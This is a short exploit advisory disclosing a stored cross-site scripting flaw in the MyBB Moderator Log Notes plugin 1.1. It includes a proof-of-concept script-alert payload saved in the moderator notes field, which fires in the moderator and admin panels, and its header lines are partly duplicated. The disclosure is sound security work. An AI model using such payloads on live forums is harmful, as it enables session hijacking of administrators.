MyBB Moderator Log Notes 1.1 Cross Site Scripting

# Exploit Title: MyBB Moderator Log Notes Plugin 1.1 - Cross-Site Scripting
# Date: 2018-05-17
# Author: 0xB9
# Software Link: https://community.mybb.com/mods.php?action=view&pi # Exploit Title: MyBB Moderator Log Notes Plugin 1.1 - Cross-Site Scripting
# Date: 2018-05-17
# Author: 0xB9
# Software Link: https://community.mybb.com/mods.php?action=view&pid=1105
# Version: 1.1
# Tested on: Ubuntu 18.04
# CVE: N/A

# 1. Description:
# The plugin allows moderators to save notes and display them in a list in the modCP.
# The XSS is located in the mod notes textarea.

# 2. Proof of Concepts:

Go to the modCP and save the following payload in the moderator notes <script>alert('XSS')</script>

The alert will appear on the modCP and ACP.
localhost/modcp.php
localhost/admin/index.php?module=tools-modnoteslog